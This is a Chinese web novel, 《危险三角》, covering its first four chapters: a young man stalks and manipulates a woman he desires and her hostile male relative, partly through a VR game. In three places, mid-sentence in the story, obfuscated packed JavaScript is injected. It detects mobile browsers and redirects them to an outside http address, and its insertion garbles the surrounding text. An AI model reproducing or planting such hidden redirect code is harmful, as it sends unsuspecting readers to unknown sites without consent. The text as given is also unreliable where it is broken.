《危险三角》 1. 三角关系 戎雪岚有一个暗恋的人。 他精心制造了一个月的偶遇机会，使他终于变成她身边可以称得上朋友的存在。 现在，他的手上正捧着一束百合，等在连绛每天下班都会走的路上。 就在今天，戎雪岚准备将自己的身份从朋友转变成追求者，这当然有很大的风险，戎雪岚已经在心里做好准备。 他不会因为一次拒绝就放弃。 很快，连绛的身影就出现在视线尽头，戎雪岚心跳的声音渐大，没等他露出笑容，就因为看见连绛身边的人僵住。 连绛的身边出现了一个男人。 一个陌生的、五官锐利俊朗的男人。 连绛正偏头和他说着话，美丽的脸上浮现出淡淡的微笑，在阳光的映衬下，透着一丝浅淡的绯红。 包着鲜花的纸在戎雪岚的掌心发出细碎的声响，戎雪岚愣了愣，低头查看，才发现花柄部位的包装纸被他弄得皱巴巴。 ……不完美的东西就没办法送人了。 戎雪岚深吸一口气，准备先行离开，不过在此之前，他摸出手机，用相机记录下连绛身边人的长相。 不知道是不是对方对摄像头非常敏感，戎雪岚在放下手机的一瞬间和对方对上视线，随后看见那人动了动唇，好像和身边的连绛说了什么。 连绛表情愣了下，抬起头，在看见戎雪岚时露出一个笑容，笑着向他挥挥手。 随后又向身边人说了什么，迈开步子朝戎雪岚走来。 有一种刺眼的默契。 戎雪岚阴暗的心情并没有维持多久，随着连绛越来越近，他将那束花藏在身后，微微勾起唇角，争取在连绛的面前能够是最完美的姿态。 “好巧啊，我们又见面了。” ——不巧，我就是因为你才来这里的。 尽管心里这么回答，戎雪岚却露出一个意外的表情：“是啊，好巧。” 他看了看连绛，又看看远处的男人，挑眉：“你就这么过来跟我打招呼，你的同伴不介意吗？” “他？他要是会介意就好了，至少说明他对立体人还有兴趣。”连绛意外地扬了扬眉毛，回答。 戎雪岚不能从对方的表情和语气具体分析出对方和连绛是什么关系，但至少可以看出，不是恋爱关系。 也就是说，自己还有机会。 “对立体人还有兴趣，这是什么意思？”戎雪岚惊讶道。 连绛耸耸肩，看起来不想再这件事上多谈：“字面意思。” 戎雪岚便识趣地转移话题：“这几次遇见你都是在帝大图书馆，是写论文吗？” “当然不是，我已经毕业了，”连绛露出一个似笑非笑的表情，她的眼珠转向戎雪岚，“看不出来吗？” ——才怪。戎雪岚早就将连绛的资料查了个底朝天，不可能不知道她已经毕业，目前正在一家出版社工作。 他这么说，只不过是不想让对方知道自己暗中调查她。 “你毕业了吗？”戎雪岚的表情很快从惊讶变成了然：“这么说起来也不意外，虽然从外表上看不出来，但是你身上有一种比学生更加……沉淀的气质。” 连绛笑了笑，双眼微弯：“你夸人这么含蓄吗？” 戎雪岚也笑：“我夸人才不是这样。” “所以这是你的真心话。”连绛眉眼微弯。她有一双很妩媚的眼睛，细长的眉，爱涂正红色，是非常有攻击性的长相，但当她笑起来时候，看着她的人也会忍不住唇角上扬。 戎雪岚还没有回答，二人之间插入第三个人。 是之前连绛身边站着的男人。 戎雪岚眼底的暗色只不过出现了一瞬，没有任何人察觉到，除了松裕。 松裕站到连绛身边时，在一瞬间察觉到她对面站着的那个看起来非常温和无害，浑身充满书卷气的男人身上一闪而过的阴暗感。 是错觉？ 他若有所思地凝视着对方。 戎雪岚不明白那个人的目光会停留在自己身上，但他当作什么都没发现，笑着问连绛：“这位是？” “这位是松裕，是我的……朋友。”在介绍过程中，连绛的语气明显有些迟疑，看起来像是斟酌着应该怎样定位松裕和她之间的关系。 ——有这么难定位吗？还是因为……她想和他拥有更加亲密的关系呢。 戎雪岚向松裕伸出手：“你好，我是戎雪岚，也是连绛的……朋友。” 松裕凝视着那双向他伸来的手，手指白皙修长，骨节并不大，但是有非常精致的突起，是足够养尊处优的一双手。 他盯着对方的眼睛，想要辨清那双瞳孔下掩藏的真实情绪。但这个名叫戎雪岚的男人在察觉到他的视线之后却笑着眯起了双眼。 于是松裕的视线落在他微微上翘的眼尾。 ……睫毛好长。 松裕握上那只手，却满脑子都是戎雪岚那双狐狸似的眼睛。这么一看……戎雪岚有一双非常柔美又魅惑的眼睛，按理说这双眼睛长在男人脸上会很奇怪，但由于他身上的气质非常纯澈，倒是巧妙地中和了这种妖艳。 联想到连绛之前说的话，松裕不经意瞥了连绛一眼。 ……就是他吗？ 不过这跟自己没有关系。 “……松裕先生？” 当对方疑惑地叫他名字时，松裕才反应过来，刚才自己因为想事情发了一会呆，握着对方的手一直没松开。 “你好，不好意思，刚才走神了。” 松裕回神，说道。他迅速松开两人牵着的手，动作快到看起来好像在嫌弃戎雪岚一般。 这在他身上显然是并不常见的事情，因此他立即感受到自己在说完那句话之后，就得到来自连绛的注视。 他对此视若无睹。 戎雪岚的脸上依旧带着随和的微笑，看起来丝毫没有因为这件事生气。而事实上。 ——刚才走神？松裕竟然用这样的话来敷衍他，甚至松手得还这么快……简直像他身上有什么病毒一样。是想挑衅他吗？ 他睁开双眼，唇角的弧度仍然没有变化，只是眼底的冷芒一闪而逝。 “没关系，松裕先生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656084|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没休息好吗？据说睡眠不好特别容易走神。” “啊。”松裕的视线游移一瞬，模糊地发出一个音节，没有回答的意思。 气氛一时有些僵硬。 连绛察觉到，不着痕迹地拍了拍松裕后背，以示警告。 看向戎雪岚，她笑：“不好意思，这家伙天生这么没礼貌，不是针对你的。” 戎雪岚听见连绛的赔罪，连忙摆摆手：“……没关系，我和松裕先生不熟，这种事很正常。” ——才怪。讨厌的、没礼貌的家伙。真想给他点颜色看看啊。 尽管心中思考着松裕的各项惩罚，戎雪岚的表情却依旧温和，好像什么都没发生过一样。 “对了，”松裕的视线忽然落在戎雪岚一直背在背后的那只手上，“……刚才就看到你的手上好像拿着什么，是什么不能给我们看的东西吗？” 当松裕的视线落在戎雪岚的手上时，他就已经僵住，听完松裕的话，他失措地看了眼连绛。 ——讨厌讨厌讨厌讨厌。这个讨厌的混蛋。不完美的东西……不想让连绛看见。 连绛闻言，目光中也带着几分好奇：“是什么东西呢？如果不方便让我们看的话也没关系哦，都怪松裕太没有边界感了。” 连绛的语气之中有一种挥之不去的亲昵，戎雪岚的面色一僵。 但很快，紧绷的眉毛松懈下来，眉心微微蹙起，唇角无奈上扬，露出一个苦笑：“……没有什么是不能给连绛看的。只是……” 戎雪岚将身后弄皱的花拿了出来，眉宇间藏着一抹挥之不去的失落：“……我想送你，但它不完美。” 连绛带笑的唇瓣拉直，她的眼中流露出一丝惊讶，戎雪岚递到她面前的百合娇艳欲滴，能看得出非常新鲜，凑近是还有芬芳的香味，完全不符合大众意义上的不完美。 “对不起，”见连绛迟迟不愿意接过这束花，戎雪岚眼中忧郁更深，“我也不想送不完美的东西给你，我会把它处理掉，下一次，我会送你最完美的鲜花。” “……不，”连绛终于回过神来，她的神情有些苦恼，但是向戎雪岚深处了双手，“把花给我吧，我之前没有接过是因为，我看不出它有哪里不完美。” 她笑笑：“也许是因为你对它太过苛刻。” 明明连绛准备接过，戎雪岚却轻轻避开，他微微倾倒，将花茎处的皱痕露出给她看：“在这里。因为我不小心握得太用力。” “只有这里吗？” “只有这里。” 连绛摇头，将那束花从戎雪岚的手中接过来，她低下头，嗅了嗅，花朵的甜香让她的心情变得很好，她向戎雪岚勾起唇，肯定道：“是你对它太苛刻了。” 戎雪岚怔怔看着连绛唇边的笑，呢喃：“……那如果不止这里呢？” 连绛注视他：“至少我没看出来。不过我想，我不会介意。我也不完美，没道理要求它完美。或者说……不完美的东西才和我相衬。” 戎雪岚的瞳孔微微闪烁。 连绛这话是什么意思……难道她是暗示什么吗。 2. 伊甸之论 没等戎雪岚再说什么，松裕忽然开口。 “你喜欢她吗？” “诶？”戎雪岚被松裕的偷袭问得一愣，当他反应过来松裕究竟说了什么时，面上立即一片绯红。 他忍不住回头去看连绛的神色，眼睛里藏着些显而易见的不安。 “这个……我个人当然非常喜欢连绛小姐呀……”他语气含含糊糊，神态间潜藏不安的神色如此显眼，几乎不肖再度逼问，就能看出他的真心。 松裕摇摇头，眼中似乎藏着一丝怜悯：“真可怜。” “……松裕先生这是什么意思？” 戎雪岚之前一直都没有表露出恼怒的神色，却在此时颇为沉不住气地发出质疑，看起来像是因为心上人被人侮辱而不堪忍受。 连绛多情的眼似笑非笑横向松裕：“是啊松裕，怎么能不说清楚呢。” “没什么好说的，”松裕说着，百无聊赖地垂下眼皮，“我对你们立体人之间的关系不感兴趣。” 戎雪岚一瞬间皱起眉。 ——已经多嘴一句了，居然说什么不感兴趣。 “不用理他。”连绛将视线放回戎雪岚身上，她的目光非常温和，让戎雪岚简直有一种全身心都要融化其中的错觉。 “我也很喜欢小雪。”说这句话时，连绛的浅棕色的瞳孔中似乎藏着浅淡的鼓励。 戎雪岚理所当然再度脸红了。 “……听起来好像女孩子。” “不会啊，这个称呼不是很可爱吗。听起来就像小兔子一样，我很喜欢。” 随着连绛笑吟吟地说完，戎雪岚无奈地露出一个笑容。 “你们还要在这里闲聊多久？”松裕双手抱臂，似乎等得有些不耐烦。 “不想等你就先走啊。”连绛轻瞥他一眼，淡声说道。 松裕眉毛拧在一起，露出一个冷笑：“你以为我不想吗？要不是担心回去之后爷爷问我你跑哪去了，我没办法回答，我根本不会来接你。” 连绛像是被松裕的态度气道：“你什么时候怕过爷爷的训斥，你有什么不敢的。” “你非要在大庭广众之下跟我吵架？”松裕眉毛皱得更紧。 “我要跟你吵架？难道不是你非要在这跟我抬杠吗？”连绛的语气更差了。 戎雪岚看着眨眼间就吵起来的两个人，眼中闪过一缕烦躁。 ——从两个人吵架就可以看出他们有着非比寻常的亲密，还有，爷爷是什么意思？ 他们两个人之间有血缘关系？还是说……她们结婚了？ 委托的私家侦探只能从连绛的生活方式判断她是单身。 但如果她已经结婚，只是和丈夫之间的关系不好，分居两地呢？ 这样也说得通了。 ——那自己要当小三吗？不，不对。不被爱的才是小三。他不是来拆散这个家的，而是来加入这个家的。 只犹豫了一瞬，对连绛的爱慕之情就打败戎雪岚那点几近于无的道德之心。 坚定信念，戎雪岚的面色微微皱眉，看起来他想要安抚两个人之间剑拔弩张的氛围，只可惜，说出扣的话实在苍白无力：“你们不要吵架……” 但也正是这苍白的话语让两人意识到这里是公共场所，而她们的身边还有一个戎雪岚在场。 连绛率先冷静下来：“有什么想吵的回去吵。别在这里丢人现眼。” “哼。不是我的问题。”松裕冷哼一声，但也没再说什么撩架的话。 连绛转向戎雪岚，语气缓和：“抱歉小雪，我这里临时有事。可以的话我们下次联系。” ——下次联系？会有下次吗。 尽管这么怀疑，但戎雪岚却什么都没说，只是笑了笑：“我的荣幸。” ——连绛不主动也没关系，他可以主动。 “谢谢你的花，我很喜欢，下次见面，我会回礼。”连绛原本已经转过身，但忽然想起什么，偏头向身后的戎雪岚扬了扬手上的花束。 戎雪岚痴痴的看着她的身影远去。 …… “砰。”轿车的门被人用力关上，连绛给自己扣上安全带。 松裕坐在主驾驶，透过后视镜看了她一眼，启动车辆。 “那个人就是你的新猎物。” 连绛摸出小镜子，正在补自己的口红，闻言漫不经心看了松裕一眼：“怎么，你有兴趣？” 松裕冷笑：“说什么恶心的话。要我说几次自己不会喜欢立体人。” 透过镜子照出自己精致的脸，非常完美，丝毫没有涂到唇外。她照了又照，反复欣赏自己的脸，才心满意足地将镜子放回包里。 “那你问什么。之前可没见过你主动关注我的猎物。” “不一样。”松裕说。 “什么？”连绛不明所以， “他和你之前的猎物不一样。小心玩火自焚。” 连绛不以为意：“我当然知道。这样才刺激不是吗？就算被你说中，我真的玩火自焚，那也一定很刺激。” 她的瞳孔凝聚着一种难以言喻的疯狂。 “我只需要他能够带给我的更多愉悦。我抓住他或是他抓住我，我囚禁他或是他囚禁我，我毁灭他或是他毁灭我，这一切根本无所谓。” “我只需要足够刺激来拨弄我疯狂的神经，让我攀上我的伊甸。” 松裕的表情没有丝毫变化，只是皱起眉，吐槽道：“精神病。趁早治疗。” 连绛不以为意地笑了笑，看着松裕，语气中不乏恶意：“别忘了我们的体内留着同样的血。只是……” 她白皙的、涂着纯黑色甲油胶的手指忽然钳住松裕的面颊，她用一种俯视的目光嘲弄道：“只是暂时没人点燃你的疯狂。” “不想死就松手。”松裕皱眉，松开方向盘上的一只手拍掉连绛的手，她太用力，而松裕皮肤太过白皙，留下了艳红的指痕。 “呵呵……”连绛顺从地缩回手，打量着自己精致的指甲，自言自语：“换一个正红吧。” 疯狂？ 松裕从来不认为那种事会跟自己沾边。尽管他可以说出生在一个堪称疯狂，绝对不符合这个社会普世价值观上的家族，但他是其中唯一一个正常人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656085|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一直这样坚信着，因此对连绛的话嗤之以鼻。 当轿车在一栋陈旧古朴的老宅面前停下时，松裕与连绛两个人各自收敛了面上的轻浮之意。 …… 戎雪岚将之前拍到的，名为松裕的男人照片发给私家侦探。 这个私家侦探在圈子里很有名，如果不是他在机缘巧合之下帮过他，恐怕根本没办法让他帮忙调查， 好在他的效率也非常高，三天内，松裕的信息就出现在戎雪岚的电脑上。 “喜欢虚拟人物，在上面花了很多钱，有好几座痛屋和痛车，喜欢类型大多为傲娇系、女王系、高高在上的角色，偶尔偏好阴湿、病娇类型……爱玩《世界降临》，高中时被男同学激烈追求，因此非常厌恶同性恋。” “痛屋？痛车？” “还有阴湿是什么东西，听起来好像不太干净。” 戎雪岚疑惑地念出几个词，发现自己好像有点无法理解当中的意思，于是他拍了拍身边的智能体光团：“小爱，痛屋、痛车和阴湿是什么意思？” 现在社会的科技水平非常高，每个人身边都会配备一个私人智能体，智能体接通房间的一切家居，时刻监控主人的身体状况并对此做出提醒。 随着戎雪岚的提问，小爱的身体一闪一闪，很快回答：“痛屋、痛车，二次元用语……阴湿，原意指阴暗潮湿的环境，后引申为形容人性格阴暗、别扭。” 戎雪岚点点头，若有所思：“真是古怪的喜好。” 小爱接道：“就像主人的性格一样呢~” 戎雪岚微笑：“关机。” 虽然知道了松裕的信息，但戎雪岚暂时没想好怎么对付松裕。 说起来，松裕和连绛之间的关系看起来并不好，甚至在大庭广众下也能旁若无人的吵起来，但也是因为这样，她们两个人之间看起来有一种无法被插入的感觉。 究竟是没办法插入，还是她们将戎雪岚排除在外呢？戎雪岚也很好奇这个问题。 很简单。试一试就好了。 如果不是戎雪岚的错觉，连绛应该对他有一点好感，但这点好感非常浅薄，可能出自于他的外貌，或者举止。 拆散、不，插入两个人很简单。只需要让其中一个人和自己拥有恋爱关系。这个人选，戎雪岚设定的是连绛。 但是……松裕，很讨厌。 让他想要对他做出一些力所能及的惩罚。 不是说不会爱上立体人吗？如果真的爱上立体人会多有意思； 不是讨厌同性恋吗？如果发现自己喜欢的人是男性会有什么反应呢？ 会不会不敢置信、恶心想吐、甚至留下阴影再也不敢恋爱？ 戎雪岚曲起食指，下意识将关节放进口中，牙齿轻轻啃咬，他的瞳孔茫茫然落在虚空，暗淡无光，却透着几分阴森森的鬼气。 这是他隐藏自身兴奋时惯有的动作，表明他对自己给松裕安排的结局非常满意。 他感到浑身的血液滚烫，好像在燃烧一般，头脑却无比清明。 他已经知道，自己应该做的事。 3. 伪装试探 松裕的身边最近出现一些奇怪的事情。 比如说，每天出入公寓时总感觉身边出现莫名其妙的视线。但当他转过头仔细寻找身后是否有什么可疑人物时，总是一无所获，一切都正常得不像话。 又比如说，他最近吃谷超级不顺，连续几次看重的谷子下一秒就已经售罄。 因为吃谷不顺所以沉浸在《世界降临》里疯狂打本，但因为随手招募的野队质量参差，得到一次比一次更差的战绩。 松裕：“……” 松裕选择打单人本。 不过现在…… 他看着自己身边的人物，神情有些无语：“……你就打算这样一直跟着我吗？” 对面长发、看起来非常美型的少女歪了歪头，开口的声音也是松裕非常喜欢的清甜少女音：“有什么问题吗？” “当然有问题。我接下来要去打单人本。” 言下之意，不会带着对方。 松裕压抑着自己的不耐开口，如果不是对方长相和声音都非常符合自己的审美，让松裕对她多了一份宽容，松裕这个时候应该已经把对方挂上仇名了。 从野队招募开始道打本结束，她好像对松裕有一种非常高度的关注，甚至让松裕忍不住猜测，她是不是有什么其他的目的。 如果不愿意被人发现或是记住，《世界降临》拥有一项隐私设置，那就是展现在其他玩家面前的名字是乱码，面容是初始脸型，这项设置可以有效避免仇杀。 松裕在找野队前就打开了这项设置。 这样还会被人缠上，他完全不明白对方究竟看中哪一点才会这么做。 “诶~”少女拉长声音，“难道不是单人本都打完了才招野队打多人吗？” “你……”松裕一瞬间眯起眼，“你这家伙是从哪里看出来的。” “这不是很简单的推论吗？”少女耸肩，“你开了防护吧？连招人打本都要开防护，不是单人本打无可打，很难相信你有什么理由来打多人本呢。” 自以为是。松裕在心中嗤笑一声，倒没戳穿对方，他现在只想知道对方跟着自己究竟有什么目的。 “既然你知道我不喜欢跟人相处，跟着我是想干什么？” “教我打枪吧。”对方这么果断地说着。 “……什么？”松裕疑心自己听错了。 “刚才的本，只有你排在我前面，基本上弹无虚发呢。所以，教我打枪。”对方的语气隐隐强硬，简直像是在命令。 松裕心中腾起一种莫名，他被气笑了：“想要别人教你还用这种语气说话吗？” 少女意识到什么，皱眉：“我可以一个月给你10w星际币。” 松裕笑了声：“十万星际币……那确实很大手笔了，只可惜对我来说没什么吸引力。” 她瞪了松裕一眼，咬唇，最后闷闷不乐道：“……那你想怎么样。” “拿出你求人的态度来，”松裕勾起一边唇角，这个举动让那张普通的脸看起来隐约变得更加出彩，“想让我教你，首先你应该怎么称呼我？” 说话间，松裕向她走进，这种隐晦的压迫感让少女下意识后退一步。 “站、站住。”她的脸红了，说话时又瞪了松裕一眼：“我、我知道了。” 她不情不愿，声音细弱得像刚出生的猫叫：“……师、师父。” “哈。”这个词语和松裕喜欢的声音结合在一起，让他一瞬间感到耳朵有一种麻麻的感受，他呼出一口气，再度打量着少女。 头上顶着一个土掉渣的称呼【蓝色小白兔】，看起来跟性格非常不匹配呢。 脸……非常漂亮。很小，皮肤很白，眼型很圆，眼尾却上挑，如果再细长一点大概会像狐狸，不过现在……呵，叫什么小白兔，明明更像小猫嘛。 说到狐狸，松裕脑中一闪而过那个名叫戎雪岚的男人的眼睛。 这么一看，两个人似乎长得有些相似呢。 不过松裕很快就为这种无端的联想失笑，全息游戏无法更改性别，但可以在自己的面容数据基础上进行调整，就算有些相似的地方也很正常。 总之……对方的形象是一张非常符合他审美的脸。 好啊，既然这样，就看看她想干什么吧。 “——太小声了，我没听到啊。” 松裕眼中恶作剧的意图一闪而过。 “你！”小白兔立刻抬头狠狠瞪着他，她张了张嘴，却没有发出声音，难道是想骂他吗？ “你不要太过分了！”但她没有，而是把声音压低，警告他。 看起来真是好欺负。 “看来你的诚意并不多。”松裕转过身，作势就要离开。 “……喂？你就要走了吗？喂！”似乎没想到松裕放弃得如此之快，对方的脸上混杂的羞耻之色已经消失得无影无踪，变成一种焦躁和恼怒。 “站住！……混蛋！”大喊站住，磕松裕的脚步丝毫未停，她含糊地吐出一句脏话，最后闭着眼，衣服视死如归的样子。 “师父！”这一声喊得非常响亮，松裕绝对没有理由说自己没听见了。 于是他转过头，而蓝色小白兔还来不及更换神色，脸上隐约透着羞恼和发现松裕回来之后的茫然。 “……哈哈。”松裕大笑起来，少女听见这种肆无忌惮的笑声，就像被人踩了尾巴的猫一样，面上恼怒的神色更重，只可惜她太生气，涨红了一张脸，一句话都骂不出口。 “很好啊，现在我听见了。”松裕操纵的角色将手掌落在少女头上，“现在你是我的徒弟了。” 所以，快让我看看你到底想做什么吧，我都会原谅你的。 小徒弟。 …… 戎雪岚从模拟舱里出来时，面颊上还带着一丝绯红，但他的心情很好，完全看不住在《世界降临》里表现出来的那样恼怒。 他给自己倒了杯红葡萄酒，红色的酒液带着葡萄的香味，冰凉的液体从口腔滑入食道，又在胃里腾起一种隐隐的热感。入口很绵，又在舌根回甘。他心情很好地哼着不成调的曲子。 愉快。愉快。戎雪岚很享受这种全身心投入其中的角色扮演。 这场和松裕的交锋远比他想象的有意思，而且松裕在《世界降临》里的性格和那一次见面看起来非常不同。 ……不，倒不如说是完全不同。那么到底哪一种会是他真正的性格呢。 他眯起眼，在酒精的作用下，他很快感觉浑身都热了起来：“小爱，帮我放水，我要泡澡。” “是~主人，检测到主人心情好像很好，要不要在泡澡的时候听歌呢，小爱建议这一首《Answer》。” “随便吧，都可以……” 几分钟后，戎雪岚躺了进去，被热水覆盖，整个人都放松下来，感觉大脑发涨，整个人昏昏欲睡。 ……如果泡在的时候睡着，会不小心淹死吗？莫名其妙冒出这个问题，戎雪岚很快自己回答。 不，如果是以前还可能，但现在，只要察觉身体数据异常的下一刻，恐怕小爱就会报警吧。 但戎雪岚还是将整个人都浸入浴缸之中，在一瞬间，耳朵就像被塞了棉花，他从嘴巴里吐出几个泡泡，心跳越来越快和重，直到终于撑不住，他才从浴缸中猛地坐了起来，张开鼻腔，深深地呼吸着浴室湿润的空气。 生活这样无趣，唯有时刻与死神共舞，才能记住到活着的意义呢。 连绛、松裕……能带给他多少乐趣呢？ “主人你已经泡澡34分钟了，再泡下去容易头晕哦，连绛小姐发来一条消息，快去回复吧~” “是是。”无奈地回答小爱，戎雪岚整个人从浴缸中站起，一瞬间水哗啦啦从他的肌肤滑落，溅回浴缸中。 踏出浴缸，随手拿过置物台上的浴袍披在身上，被水浸透的秀发湿漉漉搭在面颊，又被他毫不在意地拨弄到一边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656086|172866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吹风机已经准备好了，这次我一定会监视主人吹完头发的。” “是是。所有的AI都像你这么唠叨的话还真是可怕啊！”戎雪岚吐槽道，但身体却乖顺地走到吹风机面前。 “那都是因为主人的生活方式太不健康。” ……被AI说评价生活方式不健康总有一种古怪的感觉。 吹到半干，戎雪岚终于拿过手机，开始查看消息连绛的消息。 十分钟前 【连绛：（红酒照片）想喝吗？】 戎雪岚眯眼，若有所思。连绛是打算邀请他去喝酒吗？ 作为一个明显对她有意思的男人，她这么做，究竟是想干什么呢。 玩味的神色一闪而过。 【雪落有声：（酒柜照片）我这里有很多。】 这个回答，可以是拒绝，也可以是邀请。 就看对方是什么目的。 【连绛：酒在不同的地方，也有不同的味道。】 【连绛：发来一个链接[地址·九灯]】 戎雪岚一瞬间危险地眯起双眼。 他知道这个地址，本市最大的酒吧。她在邀请他。 既然这样，作为一个心慕对方的人，他怎么可以不应邀呢？ 半小时后。 戎雪岚一身白衬衫，走入这间与他显得格格不入的酒吧。 很快，他酒在人群中看见那个醒目的对象，她的面前摆着十几杯空掉的酒杯，整个人的身上散发着一种浓重的酒气，看起来整个人已经喝得醉醺醺的。 她身边那些不怀好意，专门等着‘捡尸’靠近她，脏手正要摸上她的面颊时被人攥住。 “滚开。” 那人面色一紧，但戎雪岚说话时并没有控制自己的声音，周围已经有人注意到他们，于是他只狠狠瞪了戎雪岚一眼，转身离去。 戎雪岚面若寒霜，僵硬地在连绛身边落座。 连绛似乎这个时候才察觉到戎雪岚已经到了，她眯眼仔细辨认着戎雪岚的长相，似乎终于认出来对面的确是她认识的人：“……你来了。” 戎雪岚一瞬间皱起眉，神情无奈：“你不应该一个人在这里，太危险了。” 连绛笑了笑：“怪你来的太慢了。” 戎雪岚一噎：“我带你去休息吧。” 连绛的双目非常迷蒙，面颊染上晕红：“你想跟我睡觉？” 戎雪岚也脸红了，但还是低声解释：“是你休息。” 连绛不知道听没听懂，脑袋有一点没一点地垂着，好像过载的处理器终于理解戎雪岚的意思：“好吧。” 见连绛答应，戎雪岚扶着连绛向九灯楼上走，作为最大的酒吧，九灯楼上就是酒店，刷过身份信息开了一间房，在前台狐疑地注视下，戎雪岚将人扛进房间，放在床上。 随后打了盆水，用毛巾给她擦了擦手和脸。 “我要走了。” 尽管不知道连绛还能不能听见人说话，戎雪岚还是这么说了声。见连绛没反应，他又在房间里到处找了张便签，将这件事简述一下，叮嘱一些关心的话，放在床头。 酒在写便签的过程中，戎雪岚的后背贴上一具灼热又绵软的身体，浓郁的酒气顿时充满他的鼻腔，让他浑身一僵。 连绛抱住他，面颊贴在他后背，整个人嘟囔着什么，戎雪岚只听清楚一句话：“……你不想要我吗？” ……哈？ 像是被惊到，戎雪岚从床上弹起来，差点把浑身无力的连绛带到地上，他结结巴巴，脸色涨红：“趁、趁人之危的事情我不做。” 连绛眯着眼，似乎是在打量他，猜测他说的是不是真心话，又似乎根本没清醒，意识不到自己说了什么。 她动了动嘴，想说什么，最后—— 哇！ 一声，她吐在戎雪岚身上。 刚洗过澡、浑身清香的戎雪岚：“………………” 4. 伪人 当戎雪岚一身水汽从浴室出来，连绛已经在床上睡死了。 好在酒店的保洁非常到位，在他洗澡的时间就已经将秽物清理干净。 价值不菲的脏衣服被他扔进垃圾桶，现在戎雪岚浑身上下只裹着一条浴巾。 孤男寡女，戎雪岚还只裹着一条浴巾，要是连绛醒来之后没有记忆，那他真是跳进黄河也洗不清了。 拨通前台电话，戎雪岚让对方随便送套衣服上来，随后将自己的账户告知对方。 当他看到那一身白衬衫、无袖黑西装马甲时，陷入沉默。 这不是男公关的衣服吗。 算了。 认栽穿上这一身，确认自己之前写的那张纸条还在床头，连绛还在熟睡，戎雪岚打开房间门，随着细微的关锁声响起，戎雪岚已经走出房间。 而躺在床上原本睡得正熟的连绛睁开双眼，瞳孔一片清明，看不出丝毫醉意。 “……这么老实啊，是不是装的呢。” 叹息的女声在寂静的房间响起，如同鬼魅。 …… 穿着男公关服，外貌出众的戎雪岚在经过酒吧中场时不出意外成了视线的焦点。 满脸通红、手足无措地躲开向他伸来的男男女女的手，戎雪岚发丝散乱，衣领松散，原本整洁的衬衫也充满褶皱，看起来倒像真被谁蹂躏过一样。 就在这时，一只手将他从人潮之中拯救了出来，他提着戎雪岚后颈的衣服，像拎一只猫似地把他拉到自己身边。 “你怎么在这？” 原本戎雪岚还想挣扎，听到熟悉的声音之后抬头，才发现是松裕。 他吃了一惊，松裕表现得这么正经，原来也会来酒吧吗？ 松裕好像看得出戎雪岚心里在想什么，解释道：“这是连绛的酒吧，我只是偶尔会过来兼职调酒师。” “连绛的……酒吧？” 戎雪岚喃喃，表情困惑。 见戎雪岚这个表现，松裕挑眉：“怎么，她从来没跟你说过吗？” 戎雪岚眉宇间受伤的神色一闪而逝，他摇了摇头。 松裕仔细看着对方的脸，想要从上面找出一丝一毫的虚情假意，只可惜不知道是不是对方的演技太好，松裕竟然丝毫看不出来。 难道对方是真心的？ ——多可笑！ 但他还是忍不住问出口：“你喜欢她什么？长得美？” 戎雪岚面色微红：“我不会否认自己爱慕她的容色，但总有比容色更重要的东西，比如，她那颗与众不同、用于直面社会丑恶的心。” “直面社会丑恶的心？”松裕匪夷所思地重复了一遍，“你说的是谁？” 这家伙……说的该不会是连绛吧？要松裕说，连绛才是这社会最丑恶的一员，这家伙居然说连绛有颗直面社会丑恶的心，开什么玩笑。 果然。恋爱使人拥有光环，使人是非不分，使人不计后果，使人弱智和眼瞎。 “当然是连绛啊，我看过她所在的……” “不，”松裕打断他的滔滔不绝，“我对你怎么爱上连绛的一点知道的兴趣都没有。” 他继续说：“出于好意，我只警告你一句，希望你和她在一起之后还能说出这种话，就算你无法忍受，最好也不要提分手或者是做出背叛她的行为。” “啊……”戎雪岚睁大眼，用一种很稀奇的目光看着松裕，忽然笑了笑。 松裕不明所以：“你笑什么？” “松裕先生很关心连绛呢……当时也是，虽然你们在吵架，却有一种其他人无法插入的氛围。”戎雪岚解释道。 松裕：“………………啊？” 他露出一种不小心吃到苍蝇的表情，脸色青白，看起来很想呕吐。 戎雪岚见松裕面色实在难看，有些担心，想要上前搀扶，却被松裕挥开手：“你没事吧，松裕先生？” “你……眼睛有问题就去治！” 松裕咬牙，恶狠狠道。 他实在没想到自己好心让戎雪岚离连绛远一点，反而被他说和连绛那个人面兽心的家伙关系好。 把他恶心得够呛。 松裕再次深刻领悟到这句话：放下助人情节，尊重他人命运。 “眼睛？”戎雪岚的眼中飞速闪过一抹戏谑，面上依旧是茫然无辜的表现：“我的眼睛很好啊，两眼视力5.3。” “……懒得跟你说。对了，你怎么回事，穿一身侍应生的衣服？” 